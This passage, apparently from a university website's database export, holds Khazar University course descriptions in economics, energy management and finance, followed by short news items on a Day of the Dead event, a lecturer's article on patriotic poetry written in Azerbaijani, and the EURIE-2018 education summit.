measurement, quantitative and qualitative data processing, hypothesis testing, data analysis, presentation and reporting, and ethics in business research are the main subjects of the course.</p><p>&nbsp;</p><p><strong>ECON 101: Introduction to Economics (6 credits)</strong></p><p><strong>Prerequisite: None</strong></p><p>This is an introductory course on the market economy, economic way of thinking. Students should gain knowledge about such market instruments as: demand and supply-aggregation, equilibrium, scarcity, surplus and choices; aggregate demand and supply, government expenditures and income, consumption’s and savings, investments, ways to achieve macroeconomics equilibrium; monetary and fiscal policy in solving problems with inflation, unemployment, investments.</p><p>&nbsp;</p><p><strong>ECON 201: Principles of Microeconomics (8 credits)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong></p><p><strong>Prerequisite: MATH 101, BSA 101</strong></p><p>The course deals with the laws of demand, supply, returns and costs; these basic tools are used to show how prices and outputs are determined in different market situations; perfect (pure) competition, monopoly, monopolistic competition and oligopoly.</p><p>&nbsp;</p><p><strong>ECON 202: Principles of Macroeconomics (6 credits)</strong></p><p><strong>Prerequisite: MATH 101, BSA 101</strong></p><p>The course provides an understanding of the analytic methods of macroeconomics. Students should examine models explaining fluctuations in national income, unemployment, price levels, GNP, monetary issues, limitations and applications of these models.</p><p>&nbsp;</p><p><strong>ECON 211: Economics of Tourism (6 credits)</strong></p><p><strong>Prerequisite: ECON 201</strong></p><p>The course application of the economic principles to the tourism and hospitality industry, supply and demand and determination of prices, the impact of the general state of the economy, GDP, growth and fluctuations of the development on the tourism industry.</p><p>&nbsp;</p><p><strong>ECON 270: Economy of Azerbaijan (6 credits)</strong></p><p><strong>Prerequisite: ECON 101 or BSA 101</strong></p><p>This course provides a historical review of the Azerbaijan economy, examines structure (industrial, organizational) of economy, features of development of each sector in different periods, modern problems of the Azerbaijan economy, transition to the market, privatization, and directions of economic reforms.</p><p>&nbsp;</p><p><strong>ECON 310: Intermediate Microeconomics (6 credits)</strong></p><p><strong>Prerequisite: ECON 101</strong></p><p>This course develops models of the behavior of individual economic units, including consumers, workers, investors, and business firms, and explains how and why these units make economic decisions. Economic behavior in various types of market environments is analyzed. The implications of this behavior for the allocation of resources and for public policy are discussed.</p><p>&nbsp;</p><p><strong>ECON 315: Intermediate Macroeconomics (6 credits)</strong></p><p><strong>Prerequisite: ECON 101</strong></p><p>This course applies the tools of aggregate economic analysis to the problems of the performance of the economy. The course links the theories and data to understand the causes of macroeconomic fluctuations in production, employment, inflation and international economic relations; particular emphasis is placed on macroeconomic policy issues.</p><p>&nbsp;&nbsp;</p><p><strong>ECON 360: International Economic Relations of Azerbaijan (6 credits)</strong></p><p><strong>&nbsp;Prerequisite: ECON 101or BSA 101</strong></p><p>The course covers historical analyses of International Economic Relations of Azerbaijan; trade traditions, participation in financial, industrial and other international organizations; comparative analyses of international relations for different branches of industry and with different countries.</p><p>&nbsp;</p><p><strong>ECON 380: History of Economic Thought (6 credits)</strong></p><p><strong>Prerequisite: ECON 201, ECON 202</strong></p><p>The course covers a historical presentation of the economic doctrines of the physiocratic, classical, neoclassical, historical, Keynesian, and other schools of thought.</p><p>&nbsp;</p><p><strong>ECON 390: World Economy (6 credits)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong></p><p><strong>Prerequisite: ECON 202 or ECON 315</strong></p><p>The course gives to students the main directions in the structure of world economy; world population, industry, agriculture, global problems of the world development such as environment protection, utilizing of the oceans and the space, international cooperation; World economy as a system consisting of various national subsystems, the modeling methods of the world economy development.</p><p>&nbsp;</p><p><strong>ECON 420: Regional Economics (6 credits)</strong></p><p><strong>Prerequisite: ECON 202 or ECON 315</strong></p><p>The course provides a study of the development of the Azerbaijan economy and economies of the neighboring countries with an emphasis on the regional cooperation, recent development tendencies, structural changes, performance and institutional patterns.</p><p>&nbsp;</p><p><strong>ECON 425: Environmental Economics and Policy (6 credits)</strong></p><p><strong>Prerequisite: ECON 202 or ECON 315</strong></p><p>This course is designed to introduce the student to a broad range of contemporary environmental problems and the design of appropriate policy responses. The role of economic development and the political and social forces deter-mining environmental quality is explored. The effectiveness of different environmental policies and regulations are analyzed.</p><p>&nbsp;</p><p><strong>ECON 430: Economics of Entrepreneurship and Innovation&nbsp;(6 credits)</strong></p><p><strong>Prerequisite: ECON 201, ECON 202 or ECON 310, ECON 315</strong></p><p>The purpose of this course is to introduce the analysis of innovation and entrepreneurship. The course will emphasize the shift in economic activity away from the traditional inputs of natural resources, unskilled labor, and capital, to a knowledge-based high-tech economy. Innovation is examined at the macroeconomic, microeconomic and spatial level. The course also examines the relationships between government policies, innovation and entrepreneurship.</p><p>&nbsp;</p><p><strong>ECON 435: Experimental and Applied Economics (6 credits)</strong></p><p><strong>Prerequisite: ECON 201 or ECON 310</strong></p><p>This experimental study of economics builds upon the scientific method and the testing of economic theories via computer simulation experiments. Students will gain an understanding of the extent to which basic economic theories predict actual human behavior.</p><p>&nbsp;</p><p><strong>ECON 440: Public Finance (6 credits)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong></p><p><strong>Prerequisite: ECON 202 or ECON 315</strong></p><p>The course examines the role of state and local governments in economy, the links between economic analysis and current political issues. Two sides of government budget will be considered: taxation and public expenditures. Optimal Tax Theory will be used as a basic to understand income distribution and evaluation of taxation efficiency. Students will also consider principle programs for public expenditures: public education, health, welfare programs, and social security.</p><p>&nbsp;</p><p><strong>ECON 445: Managerial Economics (6 credits)&nbsp;&nbsp;&nbsp;&nbsp;</strong></p><p><strong>Prerequisite: ECON 201 or ECON 310</strong></p><p>This is an introductory course in application of microeconomic principles to business decision-making; Quantitative methods are applied to managerial decisions about pricing, production volume; profit maximization, capital budgeting, risk taking.</p><p>&nbsp;</p><p><strong>ECON 450: Econometrics (6 credits)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong></p><p><strong>Prerequisite: BSA 215 or BSA 250</strong></p><p>Course covers the nature of econometrics, economic models (a simple model, a model for a game of chance), sample statistics; the least squares principle, the correlation coefficient, confidence integrals normal distribution, hypothesis testing; models of experiment, one-way analysis, two-way analysis; the foundation of correlation and regression theory; the linear model, solution of the normal equations, nonlinear relationships; the problem of the time series analysis, elementary methods for the time series description.</p><p>&nbsp;</p><p><strong>ECON 452: Mathematical Economics (6 credits)</strong></p><p><strong>Prerequisite: ECON 201, ECON 202 or ECON 310, ECON 315</strong></p><p>This course provides an introduction to mathematical techniques that are used in economic analysis. Topics covered include differential and integral calculus and matrix algebra. Emphasis is placed on the applications of mathematics to topics in economic theory.</p><p>&nbsp;</p><p><strong>ECON 454: International Economic Organizations (6 credits)</strong></p><p><strong>Prerequisite: ECON 202 or ECON 315</strong></p><p>Among international organizations there are some with special activity and importance for the human community, e.g. economic organizations. Some of them, such as International Monetary Fund, United Nations, GATT, World Bank, etc. are studied from the point of view of their structure, main goals and rules. Analyzing activity of those organizations as a means of promoting international relations is the main approach of the course.</p><p>&nbsp;</p><p><strong>ECON 455: Economic Analysis (6 credits)&nbsp;&nbsp;&nbsp;</strong></p><p><strong>Prerequisite: ECON, ECON 202 or ECON 310, ECON 315</strong></p><p>The course provides background knowledge in macro- and microeconomic analysis. Main topics are demand and supply estimation and analysis, production cost and profit analysis, market structures and decisions, project evaluation and analysis, economic growth, development and forecasting, collection analysis and presentation of economic data.</p><p>&nbsp;</p><p><strong>ECON 470: Development Economics (6 credits)</strong></p><p><strong>Prerequisite: ECON 202 or ECON 315</strong></p><p>The course is about economic growth of countries, structural changes, institutional development, economic policy and growth.</p><p>&nbsp;</p><p><strong>ECON 480: International Economics/Trade and Finance (6 credits)</strong></p><p><strong>Prerequisite: ECON 202 or ECON 315</strong></p><p>The course covers structure of the world economy; world economy as a system of various national economies; globalization and world economic development; international financial systems; global capital markets; international trade; growth and trade; global institutions and world trade.</p><p>&nbsp;</p><p><strong>ECON 485: Introduction to Insurance (6 credits)</strong></p><p><strong>Prerequisite: FIN 310</strong></p><p>The course’s main approach to insurance as a risk-reducing institution defines its contents. The necessity of insurance in different fields of economic and social life is analyzed. Different types of insurance contracts, their features, auto insurance, health insurance, fire insurance, unemployment insurance, and retirement are studied. Risk management is emphasized.</p><p>&nbsp;</p><p><strong>ECON 520: Economic Models (6 credits)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong></p><p><strong>Prerequisite: ECON 202</strong></p><p>The course includes such modern economic theories and models as theory of growth, neoclassic model and production function, Caldor’s theory of distribution, theory of demand and supply, dynamic model of market numbers’ behavior, Neumann - Gale model, and transition to new technology, model of mixed economy and equilibrium, analysis of comparative statistics, price regulation and time value, models.</p><p>&nbsp;</p><p><strong>ECON 600: Petroleum Economics (6 credits)</strong></p><p><strong>Prerequisite: Consent of instructor&nbsp;</strong></p><p>This course is a practical petroleum economics course which introduces students to the methods and practices the international oil industry uses to examine the economic viability of upstream oil and gas projects. The course covers cash flow analysis, economic indicators, depreciation and depletion models, economic analysis tools, sensitivity analysis and expected-value decisions, risk and economic decision analysis.</p><p>&nbsp;</p><p><strong>ECON 610: Engineering Economics (6 credits)</strong></p><p><strong>Prerequisite: Consent of instructor&nbsp;</strong></p><p>This course is a practical engineering economics course, which introduces students the basic principles of economic analysis for application in the decision-making process. The course covers cash flow analysis, economic indicators, depreciation and depletion models, economic analysis tools, sensitivity analysis and expected-value decisions, risk and business decision analysis.</p><p>&nbsp;</p><p><strong>ECON 805: Advanced Mathematics for Economists (6 credits)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong></p><p><strong>Prerequisite: MATH 225</strong></p><p>This course covers the elements of mathematical analysis, optimization techniques, and linear and nonlinear programming, with applications to economics.</p><p>&nbsp;</p><p><strong>ECON 810: History of Economic Thought (6 credits)</strong></p><p><strong>Prerequisite: Consent of instructor</strong></p><p>This course deals with the development of the political economy from its origin through the twentieth century. The continuity of intellectual and economic thought and their relationship to changing social and political settings are stressed. A particular emphasis is placed on the Classical and neo-Classical theories and their critics.</p><p><br></p><p><strong>ECON 815:&nbsp;World Economy (6 credits)</strong></p><p><strong>Prerequisite: Consent of instructor</strong></p><p>The course provides an understanding of the major processes in the world economy.&nbsp; After finishing of the course students will be able to apply the global way of thinking to the analysis of the economical and political problems of the history and today of mankind.</p><p>Students will be acquainted with the global economic development problems, causes of economic crises, development peculiarities of the different groups of countries, regional integration and competitiveness processes, and activities of the international political and economical institutions.</p><p>&nbsp;</p><p><strong>ECON 820: Information Technology and Business (6 credits)<br>Prerequisite: None</strong></p><p>This course focuses on organization of computing resources, control and management of computer processing, and the future of computer-based information processing and application in business.</p><p>&nbsp;</p><p><strong>ECON 825: Economics of the Public Sector (6 credits)</strong></p><p><strong>Prerequisite: None</strong></p><p>This course provides an analysis of the role of government in the economy; survey of the problems of monopoly, government regulation, externalities, public goods, and income redistribution; emphasis on measuring the output and costs of government services.</p><p>&nbsp;</p><p><strong>ECON 830: Managerial Economics (6 credits)&nbsp;&nbsp;&nbsp;&nbsp;</strong></p><p><strong>Prerequisite: None</strong></p><p>This course focuses on an application of microeconomic principles to business decision-making. Economic theory and quantitative methods are applied to managerial decisions about pricing, production, profit maximization, capital budgeting, risk taking, and governmental restraints.</p><p>&nbsp;</p><p><strong>ECON 835: Theory of the Firm and Business Strategy (6 credits)</strong></p><p><strong>Prerequisite: ECON 830</strong></p><p>The course examines an application of microeconomic theory and industrial organization to topics for internal firm organization and strategic business decision-making. Topics include transactions cost analysis and empirical implications, multi-product cost concepts, vertical integration, product differentiation and product quality, durable goods pricing, innovation and patents, spatial competition, delivered pricing, prices discrimination, product building, network economies and information implications.</p><p>&nbsp;</p><p><strong>ECON 840: Economic Development (6 credits)</strong></p><p><strong>Prerequisite: ECON 830</strong></p><p>This course focuses on the economic growth of the countries. Course covers such topics as the theories of international trade and finance, monetary-macroeconomics, industrial organization and the new theory of the firm. It proceeds to the analysis of structural change, institutional development, economic policy and growth. The course covers a variety of advanced topics in econometrics. Standard theory is reviewed and extended. Subjects include maximum likelihood, limited dependent variables, method of moments estimation and simultaneous systems estimation.</p><p>&nbsp;</p><p><strong>ECON 844: Regional Economics (6 credits)</strong></p><p><strong>Prerequisite: Consent of instructor</strong></p><p>The course provides a comprehensive study of the development of the Azerbaijan economy and survey of the economic development of the neighboring countries with a special emphasis on the regional cooperation, recent development tendencies, structural changes, performance and institutional patterns.</p><p>&nbsp;</p><p><strong>ECON 845: Human Resources and Labor Markets (6 credits)<br>Prerequisite: None</strong></p><p>The course examines the operation of labor markets, the determination of labor supply, labor demand, and wages, and the impact that market forces and institutions have on the practice of human resources management and employment relations.</p><p>&nbsp;</p><p><strong>ECON 850: The Economics of Innovation and Entrepreneurship (6 credits)<br>Prerequisite: ECON 830</strong></p><p>This course is designed to present the economic analysis of innovation and entrepreneurship. The first part of the course focuses on innovation. The second part of the course focuses on the particular aspect of innovative activity – entrepreneurship and the role of new and small firms. Theories about Entrepreneurship are introduced. The emergence of the new industries and the performance of the entrepreneurial firms are examined.</p><p>&nbsp;</p><p><strong>ECON 855: Macroeconomic Analysis and Forecasting (6 credits)</strong></p><p><strong>Prerequisite: ECON 830</strong></p><p>The course covers the theory of aggregate demand and supply, sector demand functions (consumption, investment, and money), disequilibrium models, economic growth, inflation, unemployment and expectations, stabilization, and control, economic development analysis and forecasting.</p><p>&nbsp;</p><p><strong>ECON 860: Advanced Econometrics (6 credits)</strong></p><p><strong>Prerequisite: MGT 800</strong></p><p>This course provides a study of linear econometric methods. Subjects cover the classical linear regression model, generalized least squares and an introduction to a symptomatic distribution theory. Topics such as maximum likelihood testing, specification testing, violations of the classical assumption and dichotomous choice models will be examined. This course covers a variety of advanced topics in econometrics. Standard theory is reviewed and extended. Subjects include maximum likelihood, limited dependent variables, method of moments estimation, and simultaneous systems estimation.</p><p>&nbsp;</p><p><strong>&nbsp;ECON 880: International Trade (6 credits)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong></p><p><strong>&nbsp;Prerequisite: MGT 828&nbsp;</strong></p><p>&nbsp;This course develops an understanding of the economic basis for trade. It also examines trade &nbsp;&nbsp;&nbsp;policies nations adopt, common markets, international resources flows and the multinational corporation.</p><p>&nbsp;</p><p><strong>EMGT 410: Energy Economics&nbsp;(6 credits)<br>Prerequisite: ECON 202 or ECON 315</strong></p><p>This course explores the role of energy in the economy, key aspects of energy supply and demand, energy markets, and public policies affecting energy markets. It discusses various aspects of the impact of oil, natural gas, electricity, and nuclear power sectors on economic development of countries.</p><p>&nbsp;</p><p><strong>EMGT 420: Environmental Management (6 credits)</strong></p><p><strong>Prerequisite: MGT 310</strong></p><p>The course provides an overview of environmental management systems and how environmental management systems can support environmental improvements at facilities that are subject to environmental regulations. The course focuses on pollution prevention techniques, processes, and technologies, as well as, environmental management systems. Topics also include industrial ecology, waste minimization, chemical and material substitution, and alternative technologies.</p><p>&nbsp;</p><p><strong>EMGT 425: Environmental Economics (6 credits)</strong></p><p><strong>Prerequisite: ECON 202 or ECON 315</strong></p><p>The course is designed to introduce the student a broad range of contemporary environmental problems. The role of economic development and social forces deter-mining environmental quality is explored. The effectiveness of different environmental policies and regulations are analyzed.</p><p>&nbsp;&nbsp;</p><p><strong>EMGT 805:&nbsp;Oil, Gas and Petrochemical Industries (6 credits)</strong></p><p><strong>Prerequisite: None</strong></p><p>Course provides a comprehensive review of the oil, gas and petrochemical industries history, basic theory, processes, production equipment, business operations, strategies and development tendencies.</p><p>&nbsp;</p><p><strong>EMGT 810: Energy Economics (6 credits)<br>Prerequisite: None&nbsp;</strong></p><p>This course explores the role of energy in the economy, key aspects of energy supply and demand, energy markets, and public policies affecting energy markets. It analyses key players in the energy economics and their role, rational formulation of energy policies and formation of energy markets. It discusses various aspects of the impact of oil, natural gas, electricity, and nuclear power sectors in energy economics and examines such important issues as energy taxation, price regulation, deregulation, energy efficiency, etc.</p><p>&nbsp;</p><p><strong>EMGT 812:&nbsp;Oil and Gas Economy (6 credits)<br>Prerequisite: None</strong></p><p>This course provides basic information on principles of functioning, mechanisms and forms of oil and gas markets, principles of transportation and pipelines economy, pricing issue, company social responsibility, contract issues, cash flow movement, Dutch disease, oil and gas funds.&nbsp; The topics on oil and gas contracts will be helpful for students in terms of understanding of the law and economic bases of government and company relationship. The oil and gas revenues management and sustainability issues in extractive industries are also discussed.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</p><p>&nbsp;</p><p><strong>EMGT 815: Energy Geopolitics and Global Energy Security (6 credits)</strong></p><p><strong>Prerequisite: None&nbsp;</strong></p><p>The course mainly concentrates on the global geopolitical issues and strategies concerning energy security. Main economic and political actors involved in the energy games, vulnerabilities of different countries and regions of the world in terms of energy security, and strategies applied to overcome these problems are studied thoroughly. Continuously changing agenda of global energy security is studied from up-to-date sources, and new challenges and opportunities are analyzed on a comparative basis.</p><p>This course explores energy geopolitics; global energy security; Caspian oil and gas; transportation of Caspian oil and gas; foreign investment; transnational corporations; oil and gas sector; oil strategy; oil fund; EITI initiative; BTC, SCP, Nabucco.</p><p>&nbsp;</p><p><strong>EMGT 820: Environmental Management (6 credits)</strong></p><p><strong>Prerequisite: None</strong></p><p>This course provides an overview of environmental management systems and how environmental management systems can support environmental improvements at facilities that are subject to environmental regulations. The course focuses on pollution prevention techniques, processes, and technologies, as well as, environmental management systems. Topics also include industrial ecology, waste minimization, chemical and material substitution, and alternative technologies.</p><p>&nbsp;</p><p><strong>EMGT 825: Energy Resources Management and Environmental Security (6 credits)</strong></p><p><strong>Prerequisite: None</strong></p><p>This course examines present and potential future energy trends. Energy usage and its impact on the environment are emphasized, as well as economic, technical, and political issues related with the management of energy resources are covered. The topics also include practical aspects of hazardous material and waste management in industry and other components of society, and resource recovery of hazardous waste streams.</p><p>&nbsp;&nbsp;</p><p><strong>EMGT 830: Energy Technology and Environment &nbsp;(6 credits)</strong></p><p><strong>Prerequisite: None</strong></p><p>This course identifies basic energy system components, and investigates energy generation, transmission and distribution systems. It explores the fundamentals of energy consumption through analysis of energy use and its cost. The course will strike a balance between global energy flows and the details of energy use individuals. Other topics include the technology and infrastructure involved in energy use, the economics of energy use, and government policy regarding energy. Emphasis is placed on problem-solving and identifying ways to improve energy-efficiency through energy management at all levels. The course also explores advanced energy generation technologies such as solar, wind, geothermal, biomass, and fuel cells. Students learn how to assess the environmental, social, and economic impacts of various energy technology choices.</p><p>&nbsp;</p><p><strong>EMGT 835: Caspian Energy Resources and Socioeconomic Development of Caspian Countries (6 credits)<br>Prerequisite: None</strong></p><p>The main focus of this course is the study of Caspian energy resources and their impact in the socioeconomic development of Caspian countries. The course mainly analyzes the role and weight of each energy-rich Caspian country in the world total production, their future perspectives, as well as socioeconomic development strategies put forward by each country. It also mentions development strategies of other energy rich-countries of the world in a comparative framework and draws lessons from their experiences for the Caspian countries.</p><p>&nbsp;</p><p><strong>EMGT 840: Renewable Energy (8 credits)</strong></p><p><strong>Prerequisite: None</strong></p><p>The course introduces renewable energy technologies such as solar, wind, biomass, hydro, tidal, wave, geothermal and hybrid systems. The topics covered include the availability and integration of these energy types and technologies, how they work, their advantages, disadvantages, and limitations. The course also examines economic evaluation of renewable energy resources, the environmental consequences of energy conversion and how renewable energy can reduce air pollution and global climate change and why renewable energy is necessary for the sustainable future.</p><p><br></p><p><strong>EMGT 850: Operations Management and Logistics (8 credits)</strong></p><p><strong>Prerequisite: None</strong></p><p>Fundamental decisions and tradeoffs in control of a firm\'s operations: operations strategy, process analysis, product design and process selection, capacity planning, TQM, supply chain strategy, logistics strategy, resources planning, material requirements planning and material flow controlling, procurement, inventory control, sales and operations planning, global logistics, cross-functional integration (coordination and control); improving the performance of productive systems; and competing through technology and operations.</p><p>&nbsp;</p><p><strong>EMGT 860: Energy Project and Supply Chain Management (6 credits)</strong></p><p><strong>Prerequisite: None</strong></p><p>This course develops analytical and behavioral skills for effective energy project management. Students will learn how to create a project team and a work breakdown structure, estimate task times and costs, and allocate resources in an efficient way. A variety of energy project management cases will be studied. The course also cover topics on supply chain management activities, such as the production plan, master production schedules, materials requirement planning, and capacity planning. Warehouse planning and management, energy resources distribution and transportation, packaging and third party logistics are some of the issues discussed in this course.</p><p>&nbsp;</p><p><strong>FIN 310: Fundamentals of Financial Management (6 credits)</strong></p><p><strong>Prerequisite: ACC 210</strong></p><p>Introduction to Financial Management, financial statements, clash flow, taxis, financial environment, fundamentals concepts, risk and return, time value of money, securities and their valuations, investment and financial decision, cost of capital, capital budgeting, capital management.</p><p>&nbsp;</p><p><strong>FIN 320: Corporate Finance (6 credits)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong></p><p><strong>Prerequisite: FIN 310</strong></p><p>This is an introductory course in the financial management of non-financial corporations and the role of interest rates and capital markets in the economy. Topics include the structure and analysis of financial statements, time value of money calculations (using financial calculators), stock and bond valuation of income-producing physical assets, determination of the cost of capital and the profitability of proposed investments in fixed assets, risk-return tradeoffs that must be considered in using financial leverage, and methods used in obtaining funds from the various capital markets.</p><p>&nbsp;</p><p><strong>FIN 350: Money, Banking and Financial Institutions (6 credits)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong></p><p><strong>Prerequisite: ECON 202 or ECON 315</strong></p><p>The course examines the structure of the Central Bank, its behavior, form, functions, instruments, goals; deposit creation, money demand and supply; determination of interest rate; understanding of financial instruments; financial institutions: banking firms, depository and non-depository institutions; money market; the structure of rates of return; the peculiarities of economics of money, banking and financial institutions of Azerbaijan Republic.</p><p>&nbsp;</p><p><strong>FIN 405: Commercial Loan Analysis (6 credits)</strong></p><p><strong>Prerequisite: FIN 310</strong></p><p>Students examine financial statements and business characteristics to learn the information content of financial statements. Applications focus on how they can be used to identify the pattern of funds need for a business and the best financing vehicle to meet that need. The primary tools of analysis are financial statement construction, cash flow statements, financial ratios, common-sized statements, cash budgets, proforma statements, sustainable growth, rates, and cost – volume- profit analysis. The course develops an ability to evaluate the needs of a variety of companies that differ with respect to type, industry, profitability, growth, seasonality, cyclicality, and degree of distress.</p><p>&nbsp;</p><p><strong>FIN 410: Financial Management (6 credits)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong></p><p><strong>Prerequisite: FIN 310</strong></p><p>Valuation models, capital budgeting, cost of capital, capital structure, portfolio theory, capital asset pricing models, innovations in treasury management, and financial planning.</p><p>&nbsp;</p><p><strong>FIN 415: Public Finance (6 credits)</strong></p><p><strong>Prerequisite: ECON 202 or ECON 315</strong></p><p>The course covers the following: tundamental principles of public finance. The logic of the budget process. Budget structures and institutions: federal and state-local. Capital budgeting, public infrastructure investment, and project evaluation. Budget methods and practices. Income taxes, taxes on goods and services, property taxes. Revenue from user fees, user charges, and sales by public monopolies. Revenue forecasts, revenue estimates, and tax expenditure budgets. Intergovernmental fiscal relations. Debt administration, cash management and employee retirement funds.</p><p>&nbsp;</p><p><strong>FIN 420: Investment Management (6 credits)</strong></p><p><strong>Prerequisite: FIN 310</strong></p><p>This course explores the practical aspects of investment valuation and portfolio management in a global framework. The focus is on market microstructure, bond- and equity-portfolio management and overall asset allocation.</p><p>&nbsp;</p><p><strong>FIN 425: Commercial and Investment Banking&nbsp;(6 credits)</strong></p><p><strong>Prerequisite: FIN 310</strong></p><p>Course will examine in some details the principal businesses banks are involved in and see how different banks are pursuing different models.&nbsp; In particular, bank management, financial statements, the asset-liabilities structure, revenue earning features, and risk management of banks will be examined. In addition, their cost and return features, together with recent developments in the industry will be outlined. We will focus on a number of overarching themes, such as the interplay of regulatory changes, globalization, technological advances and financial innovation and the emergence of new markets.</p><p>&nbsp;</p><p><strong>FIN 430: Investments (6 credits)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong></p><p><strong>Prerequisite: FIN 310</strong></p><p>The course combines practical application and theory. During the class sessions concept checks, numerical examples and boxed applications from the popular business press will be introduced. The course covers all of the important investment topics, provides understanding of the value of diversifying portfolios, principles of portfolio building, ways of efficient diversification. Efficient market hypotheses are also analyzed. Students analyze financial statements, study technical analysis and use these and other methods for security analysis.</p><p>&nbsp;</p><p><strong>FIN 435: Risk Management (6 credits)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong></p><p><strong>Prerequisite: FIN 310</strong></p><p>This course aims to introduce students to the rationale, principles, process and main tools of risk management. Topics covered include the concept of risk, risk theory, risk measurement, corporate risks and the rationales of corporate risk management, risk management organization and process, and some key tools of risk management.</p><p>&nbsp;</p><p><strong>FIN 440: Financial Markets (6 credits)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong></p><p><strong>Prerequisite: FIN 310</strong></p><p>This course provides an understanding of the mechanisms of various financial markets, and institutions such as banks, stock exchanges and brokers. The course develops a critical awareness of the theoretical and practical problems associated with regulating financial markets, investigates how the market structures potentially cause and mitigate financial risk to market participants and end users.</p>'),(6316,3592,'en','Khazar University celebrates Day of the Dead','On November 1, 2018, one of Mexico’s most important celebrations, “Dia de los Muertos...','<p>On November 1, 2018, one of Mexico’s most important celebrations, “Dia de los Muertos” (Day of the Dead), was celebrated at Khazar University. The Day of the Dead is a Mexican national holiday that commemorates the death of deceased friends and family. On this occasion, the Embassy of the United Mexican States in Azerbaijan together with Khazar University prepared the special altar exhibiting the brightly colored traditional folk costumes, skulls, calaca (a skeleton wearing women\'s clothing), and fiesta toys.</p><p>At the first part of the event, Hamlet Isakhanli, Founder of Khazar University and Chairman of its Board of Directors and Trustees, met with H.E. Mr. Rodrigo Labardini, the Ambassador of Mexico to Azerbaijan; he congratulated the ambassador and Mexican people on behalf of the staff and students of Khazar University, and wished robust health, peace and prosperity.</p><p>Following the meeting, H.E. Mr. Rodrigo Labardini, the Mexican Ambassador to Azerbaijan delivered an introductory speech and noted that the holiday dates back to the pre-Hispanic culture of the Aztecs who often held festivals dedicated to the goddess Mictecacihuatl, known as the Lady of the Dead. After the introductory speech, the animated movie on the Day of the Dead was demonstrated to the students of Khazar University and the ambassador discussed the scenes of the movie, answered the questions of audience.</p>'),(4502,2668,'az','Xəzər Universiteti müəlliminin elmi məqaləsi çap olunmuşdur','AMEA M.Füzuli adına Əlyazmalar İnstitutunun nəşri olan “Filologiya məsələləri” jurnalının 2017-cı ilin noyabrında çıxan 15-ci sayında...','<p>AMEA M.Füzuli adına Əlyazmalar İnstitutunun nəşri olan “Filologiya məsələləri” jurnalının 2017-cı ilin noyabrında çıxan 15-ci sayında Xəzər Universiteti Azərbaycan dili və ədəbiyyatı departamentinin müəllimi Qardaşxan Əzizxanlının “Çağdaş vətəndaşlıq lirikasında həqiqi vətənpərvərlik və surroqat patriotizm” adlı məqaləsi çap olunmuşdur. Məqalədə çağdaş Azərbaycan poeziyasında şairlərimizin yaradıcılığı əsasında həqiqi vətənpərvərlik duyğuları ilə yazılmış poetik nümunələr, həmçinin mədhiyyə xarakterli bəzi mətnlər nəzərdən keçirilir. Məqalədə göstərilir ki, M.Araz, S.Tahir və M.İsmayıl kimi şairlərin vətəndaşlıq lirikası əsl vətənpərvərliyin poetik ifadəsi baxımından səciyyəvidir. Onların yaradıcılığında vətən mövzusu özünün yeni poetik xarakteri ilə diqqəti cəlb edir.</p><p>Məqalədə, eyni zamanda, şeir adı ilə ədəbi orqanlarda çap edilən sönük mətnlərdən də danışılır. Qafiyəpərdazlıqdan ibarət söz yığınlarına qarşı milli dirçəlişimizdə, azərbaycançılıq məfkurəsinin formalaşmasında mühüm rol oynamış, əsl vətənpərvərlik şeirləri qoyulur.</p><p>Məqalədə göstərilir ki, çağdaş vətəndaşlıq lirikasında həqiqi vətənpərvərlik və surroqat patriotizm bir-birindən kəskin fərqlənir. Şeirdə həqiqi vətənpərvərlik motivləri səmimiliyi ilə oxucu qəlbinə yol tapır. Obrazlılıqdan məhrum saxta patriotizmlə dolu mətnlər isə oxucu zövqünü oxşamır.</p><p>Elmi məqalənin rəyçisi filologiya elmləri doktoru professor Bədirxan Əhmədovdur.</p>'),(5109,2972,'en','Khazar University at the EURIE-2018 Education Summit','An official opening ceremony of the EURIE-2018 Education Summit was held...','<p>An official opening ceremony of the EURIE-2018 Education Summit was held at the Lutfi Kirdar Congress Center in Istanbul, Turkey, on February 14, 2018. Approximately 400 universities, institutes, educational institutions and other organizations from 80 countries participated at the summit. Government officials of Turkey and other foreign countries also participated at the opening ceremony.</p><p>Universities and other educational institutions took part in&nbsp;Education Exhibition after the&nbsp;opening ceremony of the 